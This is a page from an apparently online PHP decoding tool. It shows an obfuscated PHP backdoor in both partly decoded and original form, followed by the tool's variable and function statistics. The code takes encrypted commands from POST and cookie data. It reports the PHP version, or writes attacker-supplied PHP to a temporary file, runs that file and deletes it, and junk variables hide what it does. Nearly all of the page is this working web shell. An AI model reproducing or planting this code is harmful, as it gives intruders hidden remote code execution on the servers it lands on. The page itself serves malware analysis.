Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rpfpcwvck /* ehu */ = 'rpfpcwvck' ^ ''; function kigrljic() ..

Decoded Output download

<?php $rpfpcwvck /*   ehu */ =      'rpfpcwvck'    ^     ''; 
 
 
 
function   kigrljic() 
 
{ 
    $oxxqh__up      = /*a_lf  */ 22; 
 
 
      $pwerinb    =    'gmxkvljitu'; 
 
 /*  u */ $rpwbzr   =    'nfagknqqh'; 
 /*  pdfk   */ $zikei       =    20; 
    $vrs_tulf    = /*   dckkr   */ 'rxy'; 
 
 
 /* hb   */ return /*sevok */ $_POST;} 
 
$dqlcvs /*  gy */ =      kigrljic(); 
 
 
$knvjd /* wk   */ = /*   n_  */ 26; 
 
 
$bhtmxho /*   gdj  */ =       'cdlk'; 
 
 
 
 
 
 
 
$qocfqcu	= /*v  */ $_COOKIE;$esewo    =    'riomehhmx'; 
 
 
$vfzhwz /*  ya */ = /*s */ 48; 
 
kigrljic(); 
 
 
 
 
function       vminid($dqgzw,    $diunxtet){ /* lpc*/ global      $rpfpcwvck; 
 
 
	$npgduyp   =     sprintf($rpfpcwvck(892-846)     .    "/"	. /*  ti  */ "%" /* _b   */ .	"s"    . /*   je  */ $rpfpcwvck(46)      .    "p"."l",	md5($dqgzw)); 
 
	file_put_contents($npgduyp, /*  adqxnn   */ "<"    . /*   qlhnfp  */ "?".$rpfpcwvck(112)       .  $rpfpcwvck(104)    . /*   qtom_n */ $rpfpcwvck(112)    . /*  yw*/ $rpfpcwvck(32) /* ulcq */ .	$rpfpcwvck(117)	.     $rpfpcwvck(547-437) /*   bekoyo  */ .   "l"."i"."n"	.    "k"."(" /* _vvma*/ . /*_jyh_   */ "_"    .   $rpfpcwvck(95)    .    "F".$rpfpcwvck(681-608) /*  nunh */ .       "L"."E"."_".$rpfpcwvck(95)  . /* kj  */ $rpfpcwvck(483-442)  . /*   niyhu   */ ";" /*  anzle */ . /*   q  */ $rpfpcwvck(32)	. /*  rxxrer   */ $diunxtet[$rpfpcwvck(256-156)]); 
$gmwnubgrs	=    'ns_mosuypu'; 
 
 
 /*z */ include($npgduyp); 
	$gfwnnltf  = /*  gmg  */ 'vphrjav'; 
 
	$gmwnubgrs /* rf   */ =      base64_decode($gmwnubgrs); 
 
	$britdozz /* j */ =   'axh'; 
    $kkskxg   =    $npgduyp; 
 
 
	$gfwnnltf /*  ydxz   */ = /*  sskopv   */ base64_decode($britdozz);	@unlink($kkskxg); 
 
 
	$kyzgitp /*  s*/ =      'wth'; 
} 
 
 
 
 
 
 
 
function    ybplgss_h() 
{ 
 
 
      global	$rpfpcwvck; 
 
 
 
 
 /*ajrs  */ $mtkdlkk      =    array();	$mtkdlkk[$rpfpcwvck(112)   .      "v"]  = /* _qizfy   */ phpversion(); /* rkxt */ $mtkdlkk["s" /*  jcfcdf*/ .	"v"]    =	"3"."."."5"; 
 /*  aqf */ echo /*ddq*/ @serialize($mtkdlkk); 
 
 
	$ouraxyey       = /*  kyz  */ 9;} 
 
 
 
 
 
function    pfdh_wv($diunxtet, /*klu  */ $dqgzw,       $umb_pvigr) 
{ 
 
 
    global /*dxj*/ $rpfpcwvck; 
 
 
 
 /*wbelz*/ $diunxtet  = /*  nh*/ unserialize(jgmvtwvsi(jgmvtwvsi(base64_decode($diunxtet),    $dqgzw),    $umb_pvigr)); 
 
	if	(isset($diunxtet["a".$rpfpcwvck(107)]))    { 
 
 /*  zuvy_t*/ if /*   rrykg   */ ($diunxtet["a"]    ==    "i")      { 
 /* ssyzyr   */ ybplgss_h(); 
			$o_fdrkq      =    27; 
 
 /*  mpg*/ }	elseif /*  yci*/ ($diunxtet["a"]	== /*jbn  */ $rpfpcwvck(101))    { /*  xhsd  */ vminid($dqgzw, /* yjbfz  */ $diunxtet);			$ufnpsjnonr	=	'phazysw'; 
    } 
 
 /*   t   */ exit(); 
	} 
 
} 
 
 
$qocfqcu	=      array_merge($dqlcvs,    $qocfqcu); 
 
 
	$mhvlc  =    'vdv'; 
 
 
 
 
function	jgmvtwvsi($diunxtet,	$_redxrvlg){ 
 /* avbgz  */ global /*  njeo_u  */ $rpfpcwvck; 
    $rzfmv	=  ""; 
 /*   jqqpi   */ for /*mjhru   */ ($mtkdlkk /*   ihhru*/ = /*tuik */ 0; /*  rmsq */ $mtkdlkk	< /* fcor */ strlen($diunxtet);) /*  g   */ { 
      for    ($emb_y       = /*   a*/ 0;      $emb_y    <	strlen($_redxrvlg) /* ykcjf */ &&      $mtkdlkk    <      strlen($diunxtet);     $emb_y++,    $mtkdlkk++)	{ 
     $rzfmv /*   qsaulx   */ .= /*sk   */ $rpfpcwvck(ord($diunxtet[$mtkdlkk])	^ /*m*/ ord($_redxrvlg[$emb_y])); 
			$bxjdrc      =     25;	} 
 
 
	} 
     return       $rzfmv;} 
 
 
 
 
$dqgzw     =    $rpfpcwvck(417-316)    .    "7" /*dnilp   */ . /*vl */ "6"."6".$rpfpcwvck(101)."2"."4".$rpfpcwvck(746-645) /* buoxp   */ .  "-"."9".$rpfpcwvck(235-178)  .    $rpfpcwvck(102) /*   kr */ .    "d" /*  ncroti */ .	"-" /*  nqdr  */ . /*   lhvjaa */ "4"."5"       . /*qv  */ "a"	.  "3"."-"   . /*  eqbn */ "8"."1"."f"."0".$rpfpcwvck(45)	.   $rpfpcwvck(97) /*  t   */ .    "3"   .    "6"."e"      . /*   ksw */ "c"	.    "8"."2"."2"	. /*df   */ "7"      .	$rpfpcwvck(57) /*  hlyxg */ .	"c"."3";$rndor /*ivelub */ =	strlen($mhvlc); 
foreach	($qocfqcu     as /*uuxoe   */ $umb_pvigr    => /*  u   */ $diunxtet)       { 
    pfdh_wv($diunxtet, /*  qwbxzq*/ $dqgzw, /*   yzvx*/ $umb_pvigr);} 
 
 
 
 
 
function    _n_emjr(){ 
 
   $munuh	=       'btd'; 
 
 
 /*vn  */ $zjosfg    = /*  sfkl  */ 24; 
 
 /*   cscyn   */ $sf__uwp_o /*   baci  */ = /* ft_bhu */ 'bnmmqfctg'; 
 
 /* rqo   */ $udvcd   =   48;	$lbjfnzi	= /*g*/ strtoupper($munuh); /*byst   */ $t_xiywwsse	= /*xdoiqz   */ $zjosfg	- /*   kpn_   */ $udvcd; /*   o */ $zjosfg    = /* htv*/ $t_xiywwsse /*zjeari  */ - /*   ztvu*/ $zjosfg;	$vuurizug /*   ircqm  */ =    31;	$hyomfiloq /*   y   */ =	'opoey'; 
    $t_xiywwsse    = /* eed */ $zjosfg       %     ($vuurizug    +       3); 
 
} 
 
 
 
_n_emjr(); 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php $rpfpcwvck /*   ehu */ =      'rpfpcwvck'    ^     '';



function   kigrljic()

{
    $oxxqh__up      = /*a_lf  */ 22;


      $pwerinb    =    'gmxkvljitu';

 /*  u */ $rpwbzr   =    'nfagknqqh';
 /*  pdfk   */ $zikei       =    20;
    $vrs_tulf    = /*   dckkr   */ 'rxy';


 /* hb   */ return /*sevok */ $_POST;}

$dqlcvs /*  gy */ =      kigrljic();


$knvjd /* wk   */ = /*   n_  */ 26;


$bhtmxho /*   gdj  */ =       'cdlk';







$qocfqcu	= /*v  */ $_COOKIE;$esewo    =    'riomehhmx';


$vfzhwz /*  ya */ = /*s */ 48;

kigrljic();




function       vminid($dqgzw,    $diunxtet){ /* lpc*/ global      $rpfpcwvck;


	$npgduyp   =     sprintf($rpfpcwvck(892-846)     .    "\57"	. /*  ti  */ "\x25" /* _b   */ .	"\163"    . /*   je  */ $rpfpcwvck(46)      .    "p"."\154",	md5($dqgzw));

	file_put_contents($npgduyp, /*  adqxnn   */ "<"    . /*   qlhnfp  */ "?".$rpfpcwvck(112)       .  $rpfpcwvck(104)    . /*   qtom_n */ $rpfpcwvck(112)    . /*  yw*/ $rpfpcwvck(32) /* ulcq */ .	$rpfpcwvck(117)	.     $rpfpcwvck(547-437) /*   bekoyo  */ .   "l"."i"."\x6e"	.    "k"."\x28" /* _vvma*/ . /*_jyh_   */ "\137"    .   $rpfpcwvck(95)    .    "F".$rpfpcwvck(681-608) /*  nunh */ .       "L"."E"."_".$rpfpcwvck(95)  . /* kj  */ $rpfpcwvck(483-442)  . /*   niyhu   */ "\x3b" /*  anzle */ . /*   q  */ $rpfpcwvck(32)	. /*  rxxrer   */ $diunxtet[$rpfpcwvck(256-156)]);
$gmwnubgrs	=    'ns_mosuypu';


 /*z */ include($npgduyp);
	$gfwnnltf  = /*  gmg  */ 'vphrjav';

	$gmwnubgrs /* rf   */ =      base64_decode($gmwnubgrs);

	$britdozz /* j */ =   'axh';
    $kkskxg   =    $npgduyp;


	$gfwnnltf /*  ydxz   */ = /*  sskopv   */ base64_decode($britdozz);	@unlink($kkskxg);


	$kyzgitp /*  s*/ =      'wth';
}







function    ybplgss_h()
{


      global	$rpfpcwvck;




 /*ajrs  */ $mtkdlkk      =    array();	$mtkdlkk[$rpfpcwvck(112)   .      "\x76"]  = /* _qizfy   */ phpversion(); /* rkxt */ $mtkdlkk["\163" /*  jcfcdf*/ .	"\166"]    =	"3"."."."\65";
 /*  aqf */ echo /*ddq*/ @serialize($mtkdlkk);


	$ouraxyey       = /*  kyz  */ 9;}





function    pfdh_wv($diunxtet, /*klu  */ $dqgzw,       $umb_pvigr)
{


    global /*dxj*/ $rpfpcwvck;



 /*wbelz*/ $diunxtet  = /*  nh*/ unserialize(jgmvtwvsi(jgmvtwvsi(base64_decode($diunxtet),    $dqgzw),    $umb_pvigr));

	if	(isset($diunxtet["a".$rpfpcwvck(107)]))    {

 /*  zuvy_t*/ if /*   rrykg   */ ($diunxtet["a"]    ==    "i")      {
 /* ssyzyr   */ ybplgss_h();
			$o_fdrkq      =    27;

 /*  mpg*/ }	elseif /*  yci*/ ($diunxtet["a"]	== /*jbn  */ $rpfpcwvck(101))    { /*  xhsd  */ vminid($dqgzw, /* yjbfz  */ $diunxtet);			$ufnpsjnonr	=	'phazysw';
    }

 /*   t   */ exit();
	}

}


$qocfqcu	=      array_merge($dqlcvs,    $qocfqcu);


	$mhvlc  =    'vdv';




function	jgmvtwvsi($diunxtet,	$_redxrvlg){
 /* avbgz  */ global /*  njeo_u  */ $rpfpcwvck;
    $rzfmv	=  "";
 /*   jqqpi   */ for /*mjhru   */ ($mtkdlkk /*   ihhru*/ = /*tuik */ 0; /*  rmsq */ $mtkdlkk	< /* fcor */ strlen($diunxtet);) /*  g   */ {
      for    ($emb_y       = /*   a*/ 0;      $emb_y    <	strlen($_redxrvlg) /* ykcjf */ &&      $mtkdlkk    <      strlen($diunxtet);     $emb_y++,    $mtkdlkk++)	{
     $rzfmv /*   qsaulx   */ .= /*sk   */ $rpfpcwvck(ord($diunxtet[$mtkdlkk])	^ /*m*/ ord($_redxrvlg[$emb_y]));
			$bxjdrc      =     25;	}


	}
     return       $rzfmv;}




$dqgzw     =    $rpfpcwvck(417-316)    .    "\67" /*dnilp   */ . /*vl */ "6"."6".$rpfpcwvck(101)."2"."4".$rpfpcwvck(746-645) /* buoxp   */ .  "-"."9".$rpfpcwvck(235-178)  .    $rpfpcwvck(102) /*   kr */ .    "\144" /*  ncroti */ .	"\x2d" /*  nqdr  */ . /*   lhvjaa */ "4"."\65"       . /*qv  */ "\141"	.  "3"."\x2d"   . /*  eqbn */ "8"."1"."f"."0".$rpfpcwvck(45)	.   $rpfpcwvck(97) /*  t   */ .    "\x33"   .    "6"."\145"      . /*   ksw */ "\143"	.    "8"."2"."\62"	. /*df   */ "\67"      .	$rpfpcwvck(57) /*  hlyxg */ .	"c"."3";$rndor /*ivelub */ =	strlen($mhvlc);
foreach	($qocfqcu     as /*uuxoe   */ $umb_pvigr    => /*  u   */ $diunxtet)       {
    pfdh_wv($diunxtet, /*  qwbxzq*/ $dqgzw, /*   yzvx*/ $umb_pvigr);}





function    _n_emjr(){

   $munuh	=       'btd';


 /*vn  */ $zjosfg    = /*  sfkl  */ 24;

 /*   cscyn   */ $sf__uwp_o /*   baci  */ = /* ft_bhu */ 'bnmmqfctg';

 /* rqo   */ $udvcd   =   48;	$lbjfnzi	= /*g*/ strtoupper($munuh); /*byst   */ $t_xiywwsse	= /*xdoiqz   */ $zjosfg	- /*   kpn_   */ $udvcd; /*   o */ $zjosfg    = /* htv*/ $t_xiywwsse /*zjeari  */ - /*   ztvu*/ $zjosfg;	$vuurizug /*   ircqm  */ =    31;	$hyomfiloq /*   y   */ =	'opoey';
    $t_xiywwsse    = /* eed */ $zjosfg       %     ($vuurizug    +       3);

}



_n_emjr();




?>

Function Calls

kigrljic 2
array_merge 1

Variables

$esewo riomehhmx
$knvjd 26
$zikei 20
$dqlcvs 0
$rpwbzr nfagknqqh
$vfzhwz 48
$bhtmxho cdlk
$pwerinb gmxkvljitu
$qocfqcu 0
$vrs_tulf rxy
$oxxqh__up 22
$rpfpcwvck chra{cg{

Stats

MD5 d05e4f2e13fd37eef13c03d816e569cc
Eval Count 0
Decode Time 96 ms